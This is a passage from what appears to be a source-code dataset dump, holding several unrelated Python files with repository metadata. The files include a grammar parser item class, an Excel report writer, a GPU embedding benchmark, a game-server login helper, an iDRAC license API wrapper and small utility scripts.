(self.rule.rule_id, item1cover, item2cover) def __hash__(self): if not self.__cached_hash: self.__cached_hash = 2 * hash(self.item1) + 7 * hash(self.item2) return self.__cached_hash def __eq__(self, other): return isinstance(other, SynchronousItem) and other.item1 == self.item1 \ and other.item2 == self.item2 def __repr__(self): return "(%s, %s, %s, %s)" % (self.item1.__repr__(), self.item2.__repr__(), str(self.item1.closed),str(self.item2.closed)) def can_shift_word1(self, word, index): """ Determines whether given word, index can be shifted onto the CFG item. """ assert isinstance(self.item1, CfgItem) return self.item1.can_shift(word, index) def can_shift_word2(self, word, index): """ Determines whether given word, index can be shifted onto the CFG item. """ assert isinstance(self.item2, CfgItem) return self.item2.can_shift(word, index) def shift_word1(self, word, index): """ Shifts onto the CFG item. """ assert isinstance(self.item1, CfgItem) nitem = self.item1.shift(word, index) self.shifted = (self.item1.shifted, self.item2.shifted) return SynchronousItem(self.rule, self.item1class, self.item2class, nitem, self.item2, nodelabels = self.nodelabels) def shift_word2(self, word, index): """ Shifts onto the CFG item. """ assert isinstance(self.item2, CfgItem) nitem = self.item2.shift(word, index) self.shifted = (self.item1.shifted, self.item2.shifted) return SynchronousItem(self.rule, self.item1class, self.item2class, self.item1, nitem, nodelabels = self.nodelabels) def can_shift_edge1(self, edge): """ Determines whether the given edge can be shifted onto the HERG item. """ assert isinstance(self.item1, HergItem) self.shifted = (self.item1.shifted, self.item2.shifted) return self.item1.can_shift(edge) def can_shift_edge2(self, edge): """ Determines whether the given edge can be shifted onto the HERG item. """ assert isinstance(self.item2, HergItem) self.shifted = (self.item1.shifted, self.item2.shifted) return self.item2.can_shift(edge) def shift_edge1(self, edge): """ Shifts onto the HERG item. """ nitem = self.item1.shift(edge) return SynchronousItem(self.rule, self.item1class, self.item2class, nitem, self.item2, nodelabels = self.nodelabels) def shift_edge2(self, edge): """ Shifts onto the HERG item. """ nitem = self.item2.shift(edge) return SynchronousItem(self.rule, self.item1class, self.item2class, self.item1, nitem, nodelabels = self.nodelabels) def can_complete(self, new_item): """ Determines whether given item can complete both sides. """ if not (self.item1.can_complete(new_item.item1) and self.item2.can_complete(new_item.item2)): return False return True def complete(self, new_item): """ Performs the synchronous completion, and gives back a new item. """ nitem1 = self.item1.complete(new_item.item1) nitem2 = self.item2.complete(new_item.item2) return SynchronousItem(self.rule, self.item1class, self.item2class, nitem1, nitem2, nodelabels = self.nodelabels)

33.473154

125

0.646516

2,842

19,950

4.406756

0.110486

0.05709

0.038007

0.014372

0.49984

0.411769

0.36434

0.314756

0.301821

0.274752

0

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19,950

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33.529412

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0.296703

0

null

0

null

0

1

0

bb2f5ca3954e0ac0cd30c52e249acffaf9cb26a5

7,120

py

Python

inc_cg_reporter/excel_writer.py

edwinsteele/inc-cg-reporter

7bf63a9a0492b474526f6da54ea39b31a1a8d4fd

[ "MIT" ]

null

inc_cg_reporter/excel_writer.py

edwinsteele/inc-cg-reporter

7bf63a9a0492b474526f6da54ea39b31a1a8d4fd

[ "MIT" ]

null

inc_cg_reporter/excel_writer.py

edwinsteele/inc-cg-reporter

7bf63a9a0492b474526f6da54ea39b31a1a8d4fd

[ "MIT" ]

null

import datetime import pathlib from tempfile import NamedTemporaryFile from typing import List, Dict from backports.zoneinfo import ZoneInfo from more_itertools import first from openpyxl import Workbook from openpyxl.styles import Alignment, Border, Side from openpyxl.utils import get_column_letter from openpyxl.worksheet.page import PrintPageSetup from openpyxl.worksheet.worksheet import Worksheet from inc_cg_reporter.connect_group import ( ConnectGroup, ConnectGroupMembershipManager, Person, ) from inc_cg_reporter.field_definition import PERSONAL_ATTRIBUTE_NAME class ConnectGroupWorksheetGenerator: """Creates a well formatted worksheet for a Connect Group""" DATE_TYPE_COLUMN_WIDTH = 15 FIRST_COLUMN_WIDTH = 22 FIRST_ROW_HEIGHT = 2 HEADER_ROW_HEIGHT = 30 THIN_BORDER = Border( left=Side(border_style="thin"), right=Side(border_style="thin"), top=Side(border_style="thin"), bottom=Side(border_style="thin"), ) def __init__(self, field_list: List[str]): # column indexes start from 1 and enumerate uses zero-based counting, # so we need to bump our column number by one self._column_locations = { col_name: col_number + 1 for col_number, col_name in (enumerate(field_list)) } def person_as_row_values(self, person: Person) -> Dict[int, str]: row = {} # XXX this generator shouldn't need to know where to find the personal # attributes on the person. for column_name, value in person.personal_attributes.items(): row[self._column_locations[column_name]] = value return row def populate(self, ws: Worksheet, cg: ConnectGroup): ws.title = cg.name self.create_column_headers(ws) for person in sorted( cg.members, key=lambda p: p.personal_attributes[PERSONAL_ATTRIBUTE_NAME] ): ws.append(self.person_as_row_values(person)) def create_column_headers(self, ws: Worksheet): ws.cell(row=1, column=1, value="Name") for col_name, col_index in self._column_locations.items(): ws.cell(row=1, column=col_index, value=col_name) def insert_heading(self, ws: Worksheet): # This can only be run after the table has been populated and styled # given it prepends rows to the sheet. Ugh. ws.insert_rows(0) ws["A1"] = ws.title ws.merge_cells("A1:{}1".format(get_column_letter(ws.max_column))) # Style merged cells using the top left cell reference ws["A1"].style = "Headline 1" # alignment is overwritten by style, so set it afterwards ws["A1"].alignment = Alignment(horizontal="center", vertical="center") no_border = Side(border_style=None) ws["A1"].border = Border( left=no_border, right=no_border, top=no_border, outline=False ) def style(self, ws: Worksheet): # Give columns a fixed width so each sheet can print onto a single # A4 in landscape mode. for col_name, col_index in self._column_locations.items(): # column_dimensions requires a column name, not an index ws.column_dimensions[ get_column_letter(col_index) ].width = self.DATE_TYPE_COLUMN_WIDTH # Then override the first column width (it's like a header) ws.column_dimensions["A"].width = self.FIRST_COLUMN_WIDTH # Style the first column in a header-like way for cell in first(ws.columns): cell.style = "40 % - Accent1" # Style header row (note the overlap with the name column... we're # intentionally overwriting the style of A1 to be what is below) for cell in first(ws.rows): cell.style = "Accent1" cell.alignment = Alignment(wrap_text=True, horizontal="center") # Intended to be double height, with text wrap set in the loop below ws.row_dimensions[1].height = self.HEADER_ROW_HEIGHT # Style the data cells (non-header cells) for row in ws.iter_rows(min_row=2, min_col=2): for cell in row: cell.alignment = Alignment(horizontal="center") cell.border = self.THIN_BORDER def setup_print_page_setup(self, ws): # fitToWidth isn't recognised on numbers. Hardcoding a scale is ghastly, # but it works and will update if it's inappropriate ws.page_setup = PrintPageSetup(orientation="landscape", scale=75) class ConnectGroupWorkbookManager: """An excel workbook, with sheets per connect group and a summary sheet""" OUTPUT_FILENAME = "inc_cg.xlsx" def __init__( self, membership_manager: ConnectGroupMembershipManager, worksheet_generator: ConnectGroupWorksheetGenerator, ): self._membership_manager = membership_manager self._worksheet_generator = worksheet_generator self._workbook = Workbook() def insert_title_sheet(self) -> None: about_sheet = self._workbook.create_sheet("About", 0) about_sheet.title = "About" about_sheet.column_dimensions["A"].width = 20 about_sheet.column_dimensions["B"].width = 40 now_au = datetime.datetime.now(tz=ZoneInfo("Australia/Sydney")) about_sheet.append({"A": "Created:", "B": now_au.ctime()}) about_sheet.append( { "A": "Connect Group Count:", "B": self._membership_manager.connect_groups_count, } ) about_sheet.append( { "A": "Connect Group Total Member Count:", "B": self._membership_manager.connect_groups_member_count, } ) # Show a list of ConnectGroups if self._membership_manager.connect_groups_member_count > 0: about_sheet.append( {"A": "Connect Group List:", "B": self._workbook.worksheets[1].title} ) # Ignore the zeroth worksheet (this about page), and the first worksheet # that we printed in the line about for ws in self._workbook.worksheets[2:]: about_sheet.append({"B": ws.title}) def create(self) -> None: for connect_group in sorted( self._membership_manager.connect_groups.values(), key=lambda x: x.name ): ws = self._workbook.create_sheet() self._worksheet_generator.populate(ws, connect_group) self._worksheet_generator.style(ws) self._worksheet_generator.insert_heading(ws) self._worksheet_generator.setup_print_page_setup(ws) # Remove the blank sheet that's created initially self._workbook.remove(self._workbook.worksheets[0]) self.insert_title_sheet() def save(self) -> pathlib.Path: output_file = NamedTemporaryFile(delete=False) self._workbook.save(output_file.name) output_file.close() output_path = pathlib.Path(output_file.name) return output_path.rename(output_path.with_name(self.OUTPUT_FILENAME))

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88

0.658287

901

7,120

5.00222

0.283019

0.019969

0.027957

0.016863

0.090748

0.069004

0.0497

0.019525

0

0.00754

0.254916

7,120

178

89

40

0.842036

0.188062

0

0.0625

0

0.039492

0

1

0.085938

false

0

0.101563

0

0.265625

0.015625

0

null

0

null

0

1

0

bb30048a187fc956b10e024a3231a64c928e715b

1,969

py

Python

position.py

wenwen0319/HIT_test

feba0c7dac4074ca3e602e499d3d946a6abce995

[ "MIT" ]

null

position.py

wenwen0319/HIT_test

feba0c7dac4074ca3e602e499d3d946a6abce995

[ "MIT" ]

null

position.py

wenwen0319/HIT_test

feba0c7dac4074ca3e602e499d3d946a6abce995

[ "MIT" ]

null

# from numba import jit import numpy as np import logging numba_logger = logging.getLogger('numba') numba_logger.setLevel(logging.WARNING) # @jit(nopython=True) def nodets2key(batch: int, node: int, ts: float): key = '-'.join([str(batch), str(node), float2str(ts)]) return key # @jit(nopython=True) def float2str(ts): return str(int(round(ts))) def make_batched_keys(node_record, t_record): batch = node_record.shape[0] support = node_record.shape[1] batched_keys = make_batched_keys_l(node_record, t_record, batch, support) batched_keys = np.array(batched_keys).reshape((batch, support)) # batched_keys = np.array([nodets2key(b, n, t) for b, n, t in zip(batch_matrix.ravel(), node_record.ravel(), t_record.ravel())]).reshape(batch, support) return batched_keys # @jit(nopython=True) def make_batched_keys_l(node_record, t_record, batch, support): batch_matrix = np.arange(batch).repeat(support).reshape((-1, support)) # batch_matrix = np.tile(np.expand_dims(np.arange(batch), 1), (1, support)) batched_keys = [] for i in range(batch): for j in range(support): b = batch_matrix[i, j] n = node_record[i, j] t = t_record[i, j] batched_keys.append(nodets2key(b, n, t)) return batched_keys # @jit(nopython=True) def anonymize(node_records, batch, M, walk_len): new_node_records = np.zeros_like(node_records) for i in range(batch): for j in range(M): seen_nodes = [] for w in range(walk_len): index = list_index(seen_nodes, node_records[i, j, w]) if index == len(seen_nodes): seen_nodes.append(node_records[i, j, w]) new_node_records[i, j, w] = index return new_node_records # @jit(nopython=True) def list_index(arr, item): count = 0 for e in arr: if e == item: return count count += 1 return count

31.253968

156

0.638395

288

1,969

4.177083

0.253472

0.100582

0.062344

0.074813

0.270989

0.217789

0.177889

0.119701

0.074813

0

0.007963

0.234637

1,969

63

157

31.253968

0.790312

0.175724

0

0.139535

0

0.003715

0

1

0.139535

false

0

0.046512

0.023256

0.348837

0

null

0

null

0

1

0

bb3190ae66c1e67dd51acbaf941efef659b043cd

3,495

py

Python

train/compute/python/examples/pytorch/run_op_split_table_batched_embeddings.py

caogao/param

9de2602c894df264a004c352ee16abc14f93da76

[ "MIT" ]

34

2020-10-07T23:55:19.000Z

2022-03-15T03:18:23.000Z

train/compute/python/examples/pytorch/run_op_split_table_batched_embeddings.py

caogao/param

9de2602c894df264a004c352ee16abc14f93da76

[ "MIT" ]

33

2020-10-09T23:57:45.000Z

2022-03-24T08:15:35.000Z

train/compute/python/examples/pytorch/run_op_split_table_batched_embeddings.py

caogao/param

9de2602c894df264a004c352ee16abc14f93da76

[ "MIT" ]

16

2020-10-08T12:43:08.000Z

2022-03-04T17:09:15.000Z

import torch from fbgemm_gpu.split_table_batched_embeddings_ops import PoolingMode from ...lib import pytorch as lib_pytorch from ...lib.config import make_op_config from ...lib.init_helper import load_modules from ...lib.pytorch.config_util import ( ExecutionPass, create_op_args, create_op_info, get_benchmark_options, ) from ...lib.pytorch.op_executor import OpExecutor from ...workloads import pytorch as workloads_pytorch def main(): # Load PyTorch implementations for data generator and operators. load_modules(lib_pytorch) # Load PyTorch operator workloads. load_modules(workloads_pytorch) # Important to set num of threads to 1, some ops are not thread safe and # also improves measurement stability. torch.set_num_threads(1) op_name = "SplitTableBatchedEmbeddingBagsCodegen" op_info = create_op_info() op_info[ "input_data_generator" ] = "SplitTableBatchedEmbeddingBagsCodegenInputDataGenerator" print(op_info) # Get the default benchmark options. run_options = get_benchmark_options() # Create OperatorConfig that initializes the actual operator workload and # various generators to create inputs for the operator. op_config = make_op_config(op_name, op_info, run_options["device"]) # By default, benchmark will run the forward pass. # By setting backward (which requires running forward pass), the benchmark # will run both forward and backward pass. run_options["pass_type"] = ExecutionPass.BACKWARD # Define config parameters required for input data generation and operator building. num_tables = 1 rows = 228582 dim = 128 batch_size = 512 pooling_factor = 50 weighted = True weights_precision = "fp16" optimizer = "exact_row_wise_adagrad" # Construct configuration for input data generator. data_generator_config = create_op_args( [ {"type": "int", "name": "num_tables", "value": num_tables}, {"type": "int", "name": "rows", "value": rows}, {"type": "int", "name": "dim", "value": dim}, {"type": "int", "name": "batch_size", "value": batch_size}, {"name": "pooling_factor", "type": "int", "value": pooling_factor}, {"type": "bool", "name": "weighted", "value": weighted}, {"type": "str", "name": "weights_precision", "value": weights_precision}, ], {"optimizer": {"type": "str", "value": optimizer}}, ) # Generate the actual data for inputs. input_data_gen = op_config.input_data_generator() (input_args, input_kwargs) = input_data_gen.get_data( data_generator_config, run_options["device"] ) # Construct and initialize the SplitTableBatchedEmbeddingBagsCodegen operator. op_config.op.build( num_tables, rows, dim, PoolingMode.SUM, weighted, weights_precision, optimizer, ) # Create an OpExecutor to run the actual workload. op_exe = OpExecutor(op_name, op_config.op, run_options) # Run and collect the result metrics. result = op_exe.run(input_args, input_kwargs, "0:0:0") # Loop through and print the metrics. print("### Benchmark Results ###") for pass_name, pass_data in result.items(): print(f"pass: {pass_name}") for metric_name, metrics in pass_data.items(): print(metric_name) print(metrics) if __name__ == "__main__": main()

32.971698

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420

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5.369048

0.32619

0.021286

0.019512

0.017738

0

0.008124

0.225179

3,495

105

89

33.285714

0.824594

0.25608

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0.044152

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0.014493

false

0.072464

0.115942

0

0.130435

0.072464

0

null

0

null

0

1

0

1

bb31ec1a332dbdfa82d99d7fc7a29ce3ab110102

982

py

Python

src/login.py

kushalnaidu/showdown-battle-bot

00c2d4f0172fd7a545a1bcbc1c2b21283314151b

[ "MIT" ]

22

2018-01-31T12:30:29.000Z

2021-12-22T01:12:15.000Z

src/login.py

kushalnaidu/showdown-battle-bot

00c2d4f0172fd7a545a1bcbc1c2b21283314151b

[ "MIT" ]

4

2018-09-04T14:48:46.000Z

2022-03-09T20:09:28.000Z

src/login.py

kushalnaidu/showdown-battle-bot

00c2d4f0172fd7a545a1bcbc1c2b21283314151b

[ "MIT" ]

16

2018-08-23T19:30:53.000Z

2021-12-08T06:18:16.000Z

import sys import json import requests from src.senders import sender async def log_in(websocket, challid, chall): """ Login in function. Send post request to showdown server. :param websocket: Websocket stream :param challid: first part of login challstr sent by server :param chall: second part of login challstr sent by server """ with open(sys.path[0] + "/src/id.txt") as logfile: username = logfile.readline()[:-1] password = logfile.readline()[:-1] resp = requests.post("https://play.pokemonshowdown.com/action.php?", data={ 'act': 'login', 'name': username, 'pass': password, 'challstr': challid + "%7C" + chall }) await sender(websocket, "", "/trn " + username + ",0," + json.loads(resp.text[1:])['assertion']) await sender(websocket, "", "/avatar 159")

37.769231

100

0.552953

106

982

5.113208

0.59434

0.04059

0.070111

0.114391

0

0.013493

0.320774

982

25

101

39.28

0.7991

0

0.147849

0

0.058824

1

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false

0.117647

0.235294

0

0.235294

0

null

0

null

0

1

0

1

bb33404ce71f2b88413dcd54b52425bf86472df8

561

py

Python

launch/sick_ldmrs.launch.py

Kaju-Bubanja/sick_scan2

9a518b8e88d8515e25168b1860e7bee3af79f1da

[ "Apache-2.0" ]

null

launch/sick_ldmrs.launch.py

Kaju-Bubanja/sick_scan2

9a518b8e88d8515e25168b1860e7bee3af79f1da

[ "Apache-2.0" ]

null

launch/sick_ldmrs.launch.py

Kaju-Bubanja/sick_scan2

9a518b8e88d8515e25168b1860e7bee3af79f1da

[ "Apache-2.0" ]

null

import os from ament_index_python.packages import get_package_share_directory from launch import LaunchDescription from launch_ros.actions import Node def generate_launch_description(): ld = LaunchDescription() config = os.path.join( get_package_share_directory('sick_scan2'), 'config', 'sick_ldmrs.yaml' ) node = Node( package='sick_scan2', name='sick_scan2', executable='sick_generic_caller', output='screen', parameters=[config] ) ld.add_action(node) return ld

25.5

67

0.672014

64

561

5.609375

0.578125

0.075209

0.083565

0.133705

0

0.007042

0.240642

561

21

68

26.714286

0.835681

0

1

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0.135472

0

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0.05

false

0

0.2

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0.3

0

null

0

1

0

null

0

1

bb34d4e88ec1cd6671f5adf6f293a9c837cc85a0

9,244

py

Python

omdrivers/lifecycle/iDRAC/iDRACLicense.py

DanielFroehlich/omsdk

475d925e4033104957fdc64480fe8f9af0ab6b8a

[ "Apache-2.0" ]

61

2018-02-21T00:02:20.000Z

2022-01-26T03:47:19.000Z

omdrivers/lifecycle/iDRAC/iDRACLicense.py

DanielFroehlich/omsdk

475d925e4033104957fdc64480fe8f9af0ab6b8a

[ "Apache-2.0" ]

31

2018-03-24T05:43:39.000Z

2022-03-16T07:10:37.000Z

omdrivers/lifecycle/iDRAC/iDRACLicense.py

DanielFroehlich/omsdk

475d925e4033104957fdc64480fe8f9af0ab6b8a

[ "Apache-2.0" ]

25

2018-03-13T10:06:12.000Z

2022-01-26T03:47:21.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # Copyright © 2018 Dell Inc. or its subsidiaries. All rights reserved. # Dell, EMC, and other trademarks are trademarks of Dell Inc. or its subsidiaries. # Other trademarks may be trademarks of their respective owners. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: Vaideeswaran Ganesan # import os import re import time import xml.etree.ElementTree as ET from enum import Enum from datetime import datetime from omsdk.sdkprint import PrettyPrint from omsdk.sdkcenum import EnumWrapper, TypeHelper from omsdk.lifecycle.sdklicenseapi import iBaseLicenseApi from omdrivers.lifecycle.iDRAC.iDRACConfig import LicenseApiOptionsEnum import base64 import sys import logging logger = logging.getLogger(__name__) PY2 = sys.version_info[0] == 2 PY3 = sys.version_info[0] == 3 try: from pysnmp.hlapi import * from pysnmp.smi import * PySnmpPresent = True except ImportError: PySnmpPresent = False from omdrivers.enums.iDRAC.iDRACEnums import * class iDRACLicense(iBaseLicenseApi): def __init__(self, entity): if PY2: super(iDRACLicense, self).__init__(entity) else: super().__init__(entity) self._job_mgr = entity.job_mgr self._config_mgr = entity.config_mgr self._license_fqdds = [] def _get_license_json(self): if not hasattr(self, 'license') or "License" not in self.license: self.license = {} self.entity._get_entries(self.license, iDRACLicenseEnum) if "LicensableDevice" in self.license: entries = self.license["LicensableDevice"] if isinstance(entries, dict): entries = [entries] for entry in entries: self._license_fqdds.append(entry["FQDD"]) return self.license def _get_license_text(self, entitlementId): retVal = self.entity._export_license(id=entitlementId) ltext = self.entity._get_field_from_action(retVal, "Data", "ExportLicense_OUTPUT", "LicenseFile") if ltext: retVal['License'] = base64.b64decode(ltext).decode("utf-8") return retVal def _save_license_text(self, entitlementId, folder): retVal = self._get_license_text(entitlementId) with open(os.path.join(folder, entitlementId), "wb") as output: output.write(retVal['License'].encode('UTF-8')) output.flush() return os.path.join(folder, entitlementId) def export_license(self, folder): expLic = [] if not os.path.exists(folder): os.makedirs(folder) elif not os.path.isdir(folder): # replace with exception return [] self._get_license_json() if not "License" in self.license: # replace with exception return [] llist = self.license["License"] if isinstance(self.license["License"], dict): llist = [llist] for i in llist: entitlementId = i["EntitlementID"] expLic.append(self._save_license_text(entitlementId, folder)) return expLic def export_license_share(self, license_share_path): self._get_license_json() if not "License" in self.license: return {"l": False} llist = self.license["License"] if isinstance(self.license["License"], dict): llist = [llist] retval = {'Status': 'Success', 'Exported': 0, 'Failed to Export': 0} for i in llist: entitlementId = i["EntitlementID"] rjson = self.entity._export_license_share(share=license_share_path, creds=license_share_path.creds, id=entitlementId) rjson = self._job_mgr._job_wait(rjson['Message'], rjson) if rjson['Status'] == 'Success': retval['Exported'] += 1 else: retval['Failed to Export'] += 1 if retval['Exported'] == 0 and retval['Failed to Export'] > 0: retval['Status'] = 'Failed' return retval def _import_license_fqdd(self, license_file, fqdd="iDRAC.Embedded.1", options=LicenseApiOptionsEnum.NoOptions): if not os.path.exists(license_file) or not os.path.isfile(license_file): logger.debug(license_file + " is not a file!") return False content = '' with open(license_file, 'rb') as f: content = f.read() content = bytearray(base64.b64encode(content)) for i in range(0, len(content) + 65, 65): content[i:i] = '\n'.encode() return self.entity._import_license(fqdd=fqdd, options=options, file=content.decode()) def _import_license_share_fqdd(self, license_share_path, fqdd="iDRAC.Embedded.1", options=LicenseApiOptionsEnum.NoOptions): self._get_license_json() if not "License" in self.license: return False llist = self.license["License"] if isinstance(self.license["License"], dict): llist = [llist] retval = {'Status': 'Success', 'Imported': 0, 'Failed to Import': 0} for i in llist: entitlementId = i["EntitlementID"] rjson = self.entity._import_license_share(share=license_share_path, creds=license_share_path.creds, name="Import", fqdd=fqdd, options=options) rjson = self._job_mgr._job_wait(rjson['Message'], rjson) logger.debug(rjson) if rjson['Status'] == 'Success': retval['Imported'] += 1 else: retval['Failed to Import'] += 1 if retval['Imported'] == 0 and retval['Failed to Import'] > 0: retval['Status'] = 'Failed' return retval def _replace_license_fqdd(self, license_file, entitlementId, fqdd="iDRAC.Embedded.1", options=LicenseApiOptionsEnum.NoOptions): if not os.path.exists(license_file) or not os.path.isfile(license_file): logger.debug(license_file + " is not a file!") return False content = '' with open(license_file) as f: content = f.read() return self.entity._replace_license(id=entitlementId, fqdd=fqdd, options=options, file=content) def _delete_license_fqdd(self, entitlementId, fqdd="iDRAC.Embedded.1", options=LicenseApiOptionsEnum.NoOptions): return self.entity._delete_license(id=entitlementId, fqdd=fqdd, options=options) @property def LicensableDeviceFQDDs(self): self._get_license_json() return self._license_fqdds @property def LicensableDevices(self): self._get_license_json() return list(self._config_mgr._fqdd_to_comp(self._license_fqdds)) @property def Licenses(self): self._get_license_json() return self.license["License"] def import_license(self, license_file, component="iDRAC", options=LicenseApiOptionsEnum.NoOptions): fqddlist = self._config_mgr._comp_to_fqdd(self.LicensableDeviceFQDDs, component, default=[component]) return self._import_license_fqdd(license_file, fqdd=fqddlist[0], options=options) def import_license_share(self, license_share_path, component="iDRAC", options=LicenseApiOptionsEnum.NoOptions): fqddlist = self._config_mgr._comp_to_fqdd(self.LicensableDeviceFQDDs, component, default=[component]) return self._import_license_share_fqdd(license_share_path, fqdd=fqddlist[0], options=options) def replace_license(self, license_file, entitlementId, component="iDRAC", options=LicenseApiOptionsEnum.NoOptions): fqddlist = self._config_mgr._comp_to_fqdd(self.LicensableDeviceFQDDs, component, default=[component]) return self._replace_license_fqdd(license_file, entitlementId, fqdd=fqddlist[0], options=options) def delete_license(self, entitlementId, component="iDRAC", options=LicenseApiOptionsEnum.NoOptions): fqddlist = self._config_mgr._comp_to_fqdd(self.LicensableDeviceFQDDs, component, default=[component]) return self._delete_license_fqdd(entitlementId, fqdd=fqddlist[0], options=options)

42.599078

120

0.623107

1,018

9,244

5.479371

0.220039

0.055217

0.022947

0.019362

0.491215

0.433489

0.373252

0.328612

0.300108

0.286124

0

0.008122

0.280723

9,244

216

121

42.796296

0.830651

0.092276

0

0.359756

0

0.071034

0

1

0.103659

false

0

0.182927

0.006098

0.426829

0.006098

0

null

0

null

0

1

0

bb365dc3b0f658d8f759aeb22816bea5884e02ae

223

py

Python

inference/preprocessors/dummy.py

narumiruna/inference-template

4946f4de632c49a8b65b484a4eb77979da8d8208

[ "MIT" ]

null

inference/preprocessors/dummy.py

narumiruna/inference-template

4946f4de632c49a8b65b484a4eb77979da8d8208

[ "MIT" ]

null

inference/preprocessors/dummy.py

narumiruna/inference-template

4946f4de632c49a8b65b484a4eb77979da8d8208

[ "MIT" ]

null

from ..utils import get_logger from .preprocessors import Preprocessor LOGGER = get_logger(__name__) class DummyPreprocessor(Preprocessor): def __call__(self, frame): LOGGER.info('Call dummy pre-processor')

20.272727

47

0.757848

26

223

6.115385

0.692308

0.113208

0

0.156951

223

10

48

22.3

0.845745

0

0.107623

0

1

0.166667

false

0

0.333333

0

0.666667

0

1

0

null

0

null

0

1

0

1

0

3

bb36ec70c07ffa6bf2c091910c913a445feb66eb

266

py

Python

main.py

MustafaTheCoder/Basic-Discord-Bot

7dcbd3f9746a1e1bbef45c34903cff0e23899411

[ "MIT" ]

null

main.py

MustafaTheCoder/Basic-Discord-Bot

7dcbd3f9746a1e1bbef45c34903cff0e23899411

[ "MIT" ]

null

main.py

MustafaTheCoder/Basic-Discord-Bot

7dcbd3f9746a1e1bbef45c34903cff0e23899411

[ "MIT" ]

null

import discord from discord.ext import commands client = commands.Bot(command_prefix="-") @client.event async def on_ready(): print("Bot is ready!") @client.command async def Hello(ctx): await ctx.send("Hi") client.run("BOT TOKEN")

14

42

0.654135

36

266

4.777778

0.638889

0.093023

0

0.218045

266

18

43

14.777778

0.826923

0

0.101626

0

1

0

false

0

0.2

0

0.2

0.1

0

null

0

null

0

1

0

bb39289b3f68ac6a3b7e2e131415a89dd368fbbf

1,121

py

Python

qoffeeapi/setup.py

foehlija/Qoffee-Maker

efad3af54b466c3ff9867e9105eceb2b3b08f592

[ "Apache-2.0" ]

null

qoffeeapi/setup.py

foehlija/Qoffee-Maker

efad3af54b466c3ff9867e9105eceb2b3b08f592

[ "Apache-2.0" ]

3

2021-11-07T19:14:32.000Z

2022-03-23T09:40:46.000Z

qoffeeapi/setup.py

foehlija/Qoffee-Maker

efad3af54b466c3ff9867e9105eceb2b3b08f592

[ "Apache-2.0" ]

2

2021-11-07T17:19:17.000Z

2021-11-16T14:56:16.000Z

#!/usr/bin/env python # coding: utf-8 # Copyright (c) Jupyter Development Team. # Distributed under the terms of the Modified BSD License. from __future__ import print_function from glob import glob import os from os.path import join as pjoin from setuptools import setup, find_packages HERE = os.path.dirname(os.path.abspath(__file__)) # The name of the project name = 'qoffeeapi' # Get the version version_info = (0, 1, 0, 'dev') version = ".".join(map(str, version_info)) setup_args = dict( name = name, version = version, scripts = glob(pjoin('scripts', '*')), packages = find_packages(), author = 'Max Simon', author_email = 'max.simon@ibm.com', platforms = "Linux, Mac OS X, Windows", include_package_data = True, python_requires=">=3.6", install_requires = [ 'python-dotenv>=0.19.1' ], extras_require = { 'test': [ 'pytest>=4.6', 'pytest-cov', 'nbval', ] }, entry_points = { }, ) if __name__ == '__main__': setup(**setup_args)

21.557692

58

0.592328

136

1,121

4.661765

0.625

0.028391

0

0.01487

0.280107

1,121

51

59

21.980392

0.770756

0.152542

0

0.143008

0.022246

0

1

0

false

0

0.147059

0

0.147059

0.029412

0

null

0

null

0

1

0

bb393599c47f4953a5b9b24677e38c55c3bc05b5

2,325

py

Python

db_etl/processors/match_area_names.py

publichealthengland/coronavirus-dashboard-pipeline-etl

efcf5c77091afe8a0f7edce2e5934fe8c1f6dc1c

[ "MIT" ]

7

2021-02-14T12:42:56.000Z

2022-03-02T09:14:22.000Z

db_etl/processors/match_area_names.py

publichealthengland/coronavirus-dashboard-pipeline-etl

efcf5c77091afe8a0f7edce2e5934fe8c1f6dc1c

[ "MIT" ]

19

2021-11-03T09:21:00.000Z

2022-03-07T09:26:47.000Z

db_etl/processors/match_area_names.py

publichealthengland/coronavirus-dashboard-pipeline-etl

efcf5c77091afe8a0f7edce2e5934fe8c1f6dc1c

[ "MIT" ]

2

2021-03-03T16:52:51.000Z

2022-02-28T16:22:33.000Z

#!/usr/bin python3 """ <Description of the programme> Author: Pouria Hadjibagheri <pouria.hadjibagheri@phe.gov.uk> Created: 16 Dec 2020 License: MIT Contributors: Pouria Hadjibagheri """ # Imports # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Python: from io import StringIO # 3rd party: from pandas import DataFrame, read_csv, MultiIndex # Internal: try: from __app__.utilities import get_storage_file from __app__.utilities import func_logger except ImportError: from utilities import get_storage_file from utilities import func_logger # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Header __author__ = "Pouria Hadjibagheri" __copyright__ = "Copyright (c) 2020, Public Health England" __license__ = "MIT" __version__ = "0.0.1" # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ __all__ = [ 'match_area_names' ] AREA_TYPE_NAMES = { 'nations': 'nation', 'nhsTrusts': 'nhsTrust', 'utlas': 'utla', 'ltlas': 'ltla', 'nhsRegions': 'nhsRegion', 'regions': 'region', 'uk': 'overview' } @func_logger("match area names") def match_area_names(d: DataFrame, area_type_repls): ref_names_io = StringIO(get_storage_file("pipeline", "assets/geoglist.csv")) ref_names = read_csv(ref_names_io, usecols=["areaType", "areaCode", "areaName"]) ref_names.replace(area_type_repls, inplace=True) ref_names = ref_names.loc[ref_names.areaCode.isin(d.areaCode), :] ref_names.set_index(["areaType", "areaCode"], inplace=True) # print(ref_names.areaType) d = d.drop(columns=['areaType', 'areaName']) print("post", d.shape) result = ( d # .drop(columns=['areaName']) .join(ref_names, on=["areaType", "areaCode"], how="left") ) return result if __name__ == "__main__": df = read_csv( "/Users/pouria/Documents/Projects/coronavirus-data-etl/db_etl/test/v2/archive/processed_20201216-1545.csv", usecols=["areaCode", "areaType", "date", "areaName", "newCasesBySpecimenDate"], low_memory=False ).replace(AREA_TYPE_NAMES) print(df.shape) df = match_area_names(df, AREA_TYPE_NAMES) print(df.shape) print(df.tail(10).to_string())

28.353659

115

0.60172

252

2,325

5.230159

0.5

0.060698

